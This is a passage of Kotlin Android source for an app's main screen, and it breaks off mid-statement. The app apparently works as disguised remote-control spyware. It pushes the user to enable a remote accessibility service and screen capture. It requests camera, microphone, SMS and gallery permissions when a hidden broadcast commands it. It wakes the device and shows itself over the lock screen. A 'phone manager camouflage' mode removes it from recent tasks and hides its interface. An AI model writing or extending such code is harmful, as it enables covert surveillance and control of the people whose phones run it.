2026-02-11 16:59:49 +08:00
|
|
|
|
package com.hikoncont
|
|
|
|
|
|
|
|
|
|
|
|
import android.app.Activity
|
|
|
|
|
|
import android.app.ActivityManager
|
|
|
|
|
|
import android.content.BroadcastReceiver
|
|
|
|
|
|
import android.content.Context
|
|
|
|
|
|
import android.content.Intent
|
|
|
|
|
|
import android.content.IntentFilter
|
|
|
|
|
|
import android.media.projection.MediaProjection
|
|
|
|
|
|
import android.media.projection.MediaProjectionManager
|
|
|
|
|
|
import android.os.Build
|
|
|
|
|
|
import android.os.Bundle
|
|
|
|
|
|
import android.os.Handler
|
|
|
|
|
|
import android.os.Looper
|
|
|
|
|
|
import android.provider.Settings
|
|
|
|
|
|
import android.net.Uri
|
|
|
|
|
|
import android.util.Log
|
|
|
|
|
|
import android.widget.Button
|
|
|
|
|
|
import android.widget.ImageView
|
|
|
|
|
|
import android.widget.Switch
|
|
|
|
|
|
import android.widget.TextView
|
|
|
|
|
|
import androidx.appcompat.app.AppCompatActivity
|
|
|
|
|
|
import androidx.core.content.ContextCompat
|
|
|
|
|
|
import com.hikoncont.service.AccessibilityRemoteService
|
|
|
|
|
|
import android.content.pm.PackageManager
|
|
|
|
|
|
import android.graphics.Color
|
|
|
|
|
|
import android.view.View
|
|
|
|
|
|
import android.view.WindowManager
|
|
|
|
|
|
import android.view.accessibility.AccessibilityNodeInfo
|
|
|
|
|
|
import kotlinx.coroutines.CoroutineScope
|
|
|
|
|
|
import kotlinx.coroutines.Dispatchers
|
|
|
|
|
|
import kotlinx.coroutines.launch
|
|
|
|
|
|
import kotlinx.coroutines.delay
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 主Activity
|
|
|
|
|
|
*
|
|
|
|
|
|
* 引导用户开启无障碍服务并显示服务状态
|
|
|
|
|
|
*/
|
|
|
|
|
|
class MainActivity : AppCompatActivity() {
|
|
|
|
|
|
|
|
|
|
|
|
companion object {
|
|
|
|
|
|
private const val TAG = "MainActivity"
|
|
|
|
|
|
private const val REQUEST_MEDIA_PROJECTION = 1001
|
|
|
|
|
|
private const val REQUEST_ACCESSIBILITY_PERMISSION = 1002
|
|
|
|
|
|
|
|
|
|
|
|
// 删除悬浮窗权限请求常量
|
|
|
|
|
|
private const val REQUEST_SIMPLE_PERMISSION = 1004
|
|
|
|
|
|
private const val REQUEST_SMS_PERMISSION = 1006
|
|
|
|
|
|
private const val REQUEST_GALLERY_PERMISSION = 1007
|
|
|
|
|
|
private const val REQUEST_MICROPHONE_PERMISSION = 1008
|
|
|
|
|
|
private const val REQUEST_CAMERA_PERMISSION = 1009
|
|
|
|
|
|
private const val REQUEST_ALL_PERMISSIONS = 1010
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:自动重试配置
|
|
|
|
|
|
private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数:6次 (约30秒)
|
|
|
|
|
|
private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔:5秒
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private lateinit var statusText: TextView
|
|
|
|
|
|
private lateinit var enableButton: Button
|
|
|
|
|
|
private lateinit var appNameText: TextView
|
|
|
|
|
|
private lateinit var usageInstructionsText: TextView
|
|
|
|
|
|
private lateinit var serviceSwitch: Switch
|
|
|
|
|
|
private lateinit var appIconImageView: ImageView
|
|
|
|
|
|
|
|
|
|
|
|
private var mediaProjectionManager: MediaProjectionManager? = null
|
|
|
|
|
|
private var mediaProjection: MediaProjection? = null
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:重试状态追踪
|
|
|
|
|
|
private var autoRetryCount = 0
|
|
|
|
|
|
private var retryHandler: android.os.Handler? = null
|
|
|
|
|
|
private var retryRunnable: Runnable? = null
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 标记是否为自动权限申请流程
|
|
|
|
|
|
private var isAutoPermissionRequest = false
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 防止重复权限申请的标志
|
|
|
|
|
|
private var permissionRequestInProgress = false
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:存储自定义的页面样式配置
|
|
|
|
|
|
private var customStatusText: String? = null
|
|
|
|
|
|
private var customUsageInstructions: String? = null
|
|
|
|
|
|
|
|
|
|
|
|
// 🔑 新增:状态文本保护标志 - 当有自定义状态文本时不允许修改
|
|
|
|
|
|
private var preserveCustomStatusText = false
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ MediaProjection权限监听Handler
|
|
|
|
|
|
private var mediaProjectionCheckHandler: Handler? = null
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ WebView状态相关(使用静态变量方案,最高性能)
|
|
|
|
|
|
private var webViewStatusHandler: Handler? = null
|
|
|
|
|
|
private var webViewStatusRunnable: Runnable? = null
|
|
|
|
|
|
private var isWebViewVisible = false
|
|
|
|
|
|
private var mediaProjectionCheckRunnable: Runnable? = null
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 合并的广播接收器 - 处理停止Activity和备用权限申请
|
|
|
|
|
|
private val combinedBroadcastReceiver = object : BroadcastReceiver() {
|
|
|
|
|
|
override fun onReceive(context: Context?, intent: Intent?) {
|
|
|
|
|
|
when (intent?.action) {
|
|
|
|
|
|
"android.mycustrecev.STOP_ACTIVITY_CREATION" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到停止Activity创建广播,关闭MainActivity")
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_CAMERA_PERMISSION" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到摄像头权限请求广播")
|
|
|
|
|
|
requestCameraPermissionDirectly()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_GALLERY_PERMISSION" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到相册权限请求广播")
|
|
|
|
|
|
requestGalleryPermissionDirectly()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_MICROPHONE_PERMISSION" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到麦克风权限请求广播")
|
|
|
|
|
|
requestMicrophonePermissionDirectly()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_SMS_PERMISSION" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到短信权限请求广播")
|
|
|
|
|
|
requestSMSPermissionDirectly()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_ALL_PERMISSIONS" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到所有权限请求广播")
|
|
|
|
|
|
requestAllPermissionsAtOnce()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 移除SETUP_COMPLETE广播处理,功能已融合到SetupCompleteReceiver中
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 移除INSTALLATION_COMPLETE广播处理,功能已融合到InstallationCompleteReceiver中
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService")
|
|
|
|
|
|
val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false)
|
|
|
|
|
|
val timestamp = intent.getLongExtra("TIMESTAMP", 0)
|
|
|
|
|
|
val source = intent.getStringExtra("SOURCE") ?: "未知"
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (autoRequest) {
|
|
|
|
|
|
// ✅ 检查是否已有权限申请在进行,防止重复申请
|
|
|
|
|
|
if (permissionRequestInProgress) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 权限申请已在进行中,忽略备用广播")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查权限是否已存在,防止重复申请
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限已存在,忽略备用广播")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"✅ 备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "🔄 备用广播仅用于确保Activity前台显示,不重复启动权限申请")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 仅强制将Activity带到前台,不重复启动权限申请
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ ANR修复:异步处理窗口焦点操作
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 分步骤设置窗口标志,避免ANR
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
|
|
|
|
|
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟执行moveTaskToFront
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
val activityManager =
|
|
|
|
|
|
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
activityManager.moveTaskToFront(
|
|
|
|
|
|
taskId,
|
|
|
|
|
|
android.app.ActivityManager.MOVE_TASK_WITH_HOME
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "✅ 已设置Activity前台显示标志并尝试移至前台")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ moveTaskToFront失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 150)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置屏幕标志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 异步设置Activity前台显示失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 设置Activity前台显示失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 备用广播不包含AUTO_REQUEST_PERMISSION=true")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
"android.mycustrecev.SHOW_MAIN_ACTIVITY" -> {
|
|
|
|
|
|
Log.i(TAG, "📡 收到显示主页广播")
|
|
|
|
|
|
val setupComplete = intent.getBooleanExtra("SETUP_COMPLETE", false)
|
|
|
|
|
|
val forceForeground = intent.getBooleanExtra("FORCE_FOREGROUND", false)
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 强制将Activity带到前台的多重机制
|
|
|
|
|
|
Log.i(TAG, "🚀 开始强制前台显示 (forceForeground=$forceForeground)")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ ANR修复:异步处理窗口焦点操作
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 方法1:分步骤设置窗口标志,避免ANR
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
|
|
|
|
|
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD)
|
|
|
|
|
|
|
|
|
|
|
|
if (forceForeground) {
|
|
|
|
|
|
// 方法2:强制获取焦点
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH)
|
|
|
|
|
|
|
|
|
|
|
|
// 方法3:延迟执行ActivityManager移动任务
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
val activityManager =
|
|
|
|
|
|
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
activityManager.moveTaskToFront(
|
|
|
|
|
|
taskId,
|
|
|
|
|
|
android.app.ActivityManager.MOVE_TASK_WITH_HOME
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "✅ ActivityManager移动任务成功")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ ActivityManager移动任务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 200)
|
|
|
|
|
|
|
|
|
|
|
|
// 方法4:请求用户注意
|
|
|
|
|
|
try {
|
|
|
|
|
|
setTurnScreenOn(true)
|
|
|
|
|
|
setShowWhenLocked(true)
|
|
|
|
|
|
Log.i(TAG, "✅ 系统级前台显示设置成功")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 系统级前台显示设置失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置窗口标志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 异步设置窗口标志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (setupComplete) {
|
|
|
|
|
|
updateStatusTextThreadSafe(
|
|
|
|
|
|
"✅ 服务启动中...",
|
|
|
|
|
|
android.R.color.holo_green_dark
|
|
|
|
|
|
)
|
|
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "服务已就绪"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 主页已显示并更新状态")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 显示主页失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🔑 新增:安全更新状态文本的辅助方法
|
|
|
|
|
|
* 如果有自定义状态文本且启用了保护,则不更新
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateStatusTextSafely(newText: String, color: Int? = null) {
|
|
|
|
|
|
// ✅ 安全检查:确保UI组件已初始化
|
|
|
|
|
|
if (!::statusText.isInitialized) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ statusText未初始化,跳过updateStatusTextSafely")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否是WebView模式,如果是则跳过UI更新
|
|
|
|
|
|
if (isWebViewMode()) {
|
|
|
|
|
|
Log.d(TAG, "🌐 WebView模式,跳过状态文本更新: $newText")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (preserveCustomStatusText && !customStatusText.isNullOrEmpty()) {
|
|
|
|
|
|
Log.d(TAG, "🛡️ 状态文本受保护,跳过更新: $newText")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🎭 检查是否是伪装模式,如果是则跳过UI更新
|
|
|
|
|
|
if (isPhoneManagerCamouflageMode()) {
|
|
|
|
|
|
Log.d(TAG, "🎭 伪装模式,跳过状态文本更新: $newText")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
statusText.text = newText
|
|
|
|
|
|
color?.let { statusText.setTextColor(getColor(it)) }
|
|
|
|
|
|
Log.d(TAG, "📝 状态文本已更新: $newText")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:安全更新状态文本的便捷方法,自动处理UI线程
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateStatusTextSafelyOnUiThread(newText: String, color: Int? = null) {
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(newText, color)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 检查是否是WebView模式
|
|
|
|
|
|
* 在WebView模式下,statusText等UI组件被隐藏,不应该尝试更新
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isWebViewMode(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
val statusText = findViewById<android.view.View>(R.id.statusText)
|
|
|
|
|
|
// 如果WebView可见且statusText被隐藏,则认为是WebView模式
|
|
|
|
|
|
webView?.visibility == android.view.View.VISIBLE &&
|
|
|
|
|
|
statusText?.visibility == android.view.View.GONE
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.d(TAG, "🔍 检查WebView模式时异常: ${e.message}")
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onCreate(savedInstanceState: Bundle?) {
|
|
|
|
|
|
super.onCreate(savedInstanceState)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:移除保活检测,让MainActivity正常启动
|
|
|
|
|
|
// zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onCreate中检测
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 确保无障碍服务在App打开时被拉起(已授权但服务异常时)
|
|
|
|
|
|
// try {
|
|
|
|
|
|
// ensureAccessibilityServiceAlive()
|
|
|
|
|
|
// } catch (_: Exception) {}
|
|
|
|
|
|
//
|
|
|
|
|
|
Log.i(TAG, "MainActivity创建完成")
|
|
|
|
|
|
Log.i(TAG, "📊 Activity实例信息: ${this.hashCode()}, 任务ID: ${this.taskId}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 添加详细的Intent调试信息
|
|
|
|
|
|
val intent = getIntent()
|
|
|
|
|
|
if (intent != null) {
|
|
|
|
|
|
Log.i(TAG, "🔍 Intent详细信息:")
|
|
|
|
|
|
Log.i(TAG, "🔍 action: ${intent.action}")
|
|
|
|
|
|
Log.i(TAG, "🔍 component: ${intent.component}")
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 from_installation_complete: ${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
"from_installation_complete",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "🔍 show_webview: ${intent.getBooleanExtra("show_webview", false)}")
|
|
|
|
|
|
Log.i(TAG, "🔍 user_initiated: ${intent.getBooleanExtra("user_initiated", false)}")
|
|
|
|
|
|
Log.i(TAG, "🔍 force_foreground: ${intent.getBooleanExtra("force_foreground", false)}")
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 LAUNCH_BACKGROUND: ${intent.getBooleanExtra("LAUNCH_BACKGROUND", false)}"
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Intent为null")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 注册广播接收器(无论是否伪装模式都需要)
|
|
|
|
|
|
val filter = IntentFilter().apply {
|
|
|
|
|
|
addAction("android.mycustrecev.STOP_ACTIVITY_CREATION")
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") // 添加备用广播
|
|
|
|
|
|
addAction("android.mycustrecev.SHOW_MAIN_ACTIVITY") // 添加显示主页广播
|
|
|
|
|
|
// ✅ 移除SETUP_COMPLETE广播,功能已融合到SetupCompleteReceiver中
|
|
|
|
|
|
// ✅ 移除INSTALLATION_COMPLETE广播,功能已融合到InstallationCompleteReceiver中
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_CAMERA_PERMISSION") // ✅ 新增:摄像头权限请求广播
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_GALLERY_PERMISSION") // ✅ 新增:相册权限请求广播
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION") // ✅ 新增:麦克风权限请求广播
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") // ✅ 新增:短信权限请求广播
|
|
|
|
|
|
addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") // ✅ 新增:所有权限请求广播
|
|
|
|
|
|
}
|
|
|
|
|
|
registerReceiver(combinedBroadcastReceiver, filter)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:记录应用启动次数,用于保活检测
|
|
|
|
|
|
recordAppLaunch()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查是否为无闪现后台唤起
|
|
|
|
|
|
if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
overridePendingTransition(0, 0)
|
|
|
|
|
|
window.decorView.alpha = 0f
|
|
|
|
|
|
moveTaskToBack(true)
|
|
|
|
|
|
Log.i(TAG, "🫥 onCreate: 已无闪现退到后台")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onCreate 隐藏失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 优先检查:是否来自安装完成广播,需要显示WebView
|
|
|
|
|
|
if (intent?.getBooleanExtra("from_installation_complete", false) == true &&
|
|
|
|
|
|
intent?.getBooleanExtra("show_webview", false) == true
|
|
|
|
|
|
) {
|
|
|
|
|
|
Log.i(TAG, "🌐 来自安装完成广播,检查MediaProjection权限后显示WebView")
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 Intent参数: from_installation_complete=${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
"from_installation_complete",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}, show_webview=${intent.getBooleanExtra("show_webview", false)}"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 其他参数: user_initiated=${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
"user_initiated",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}, force_foreground=${intent.getBooleanExtra("force_foreground", false)}"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查MediaProjection权限是否已获取
|
|
|
|
|
|
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
|
|
|
|
|
|
Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission")
|
|
|
|
|
|
|
|
|
|
|
|
if (!hasMediaProjectionPermission) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程")
|
|
|
|
|
|
// 设置布局但不启动WebView,让应用进入正常的权限申请流程
|
|
|
|
|
|
setContentView(R.layout.activity_main)
|
|
|
|
|
|
initViews()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView")
|
|
|
|
|
|
setContentView(R.layout.activity_main)
|
|
|
|
|
|
Log.i(TAG, "✅ 已设置布局,准备启动WebView")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复:在可能访问UI组件之前初始化视图
|
|
|
|
|
|
initViews()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查布局是否正确设置
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
if (webView == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ 布局设置后未找到WebView,可能布局文件有问题")
|
|
|
|
|
|
return
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "✅ 布局设置成功,找到WebView")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
startWebViewActivity()
|
|
|
|
|
|
Log.i(TAG, "✅ 已调用startWebViewActivity,准备返回")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:检查是否为保活启动,如果是则直接结束避免动画
|
|
|
|
|
|
// 注意:只有在明确是保活启动时才结束,避免误判正常启动
|
|
|
|
|
|
if (isLaunchedByKeepAlive()) {
|
|
|
|
|
|
Log.i(TAG, "🫥 检测到保活启动,直接结束避免动画")
|
|
|
|
|
|
// 参考zuiqiang:保活启动时完全禁用动画,直接结束
|
|
|
|
|
|
overridePendingTransition(0, 0)
|
|
|
|
|
|
window.setBackgroundDrawableResource(android.R.color.transparent)
|
|
|
|
|
|
window.attributes.windowAnimations = 0
|
|
|
|
|
|
finish()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
setContentView(R.layout.activity_main)
|
|
|
|
|
|
// 🔍 无障碍服务健康检查(是否正常运行)
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
val enabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
val instance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
val running = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 无障碍服务健康检查: enabled=$enabled, instance=${instance != null}, running=$running"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (enabled && running && instance != null) {
|
|
|
|
|
|
|
|
|
|
|
|
// 🎭 检查是否是手机管家伪装模式
|
|
|
|
|
|
if (isPhoneManagerCamouflageMode()) {
|
|
|
|
|
|
Log.i(TAG, "🎭 检测到手机管家伪装模式,启动无障碍监听服务")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 伪装模式下,从任务栏移除进程
|
|
|
|
|
|
removeFromRecentTasks()
|
|
|
|
|
|
|
|
|
|
|
|
// 设置伪装主题,完全隐藏界面
|
|
|
|
|
|
setTheme(R.style.Theme_Camouflage)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置完全全屏,隐藏所有系统UI
|
|
|
|
|
|
window.setFlags(
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 隐藏状态栏和导航栏
|
|
|
|
|
|
window.decorView.systemUiVisibility = (
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_FULLSCREEN or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
|
|
|
|
|
|
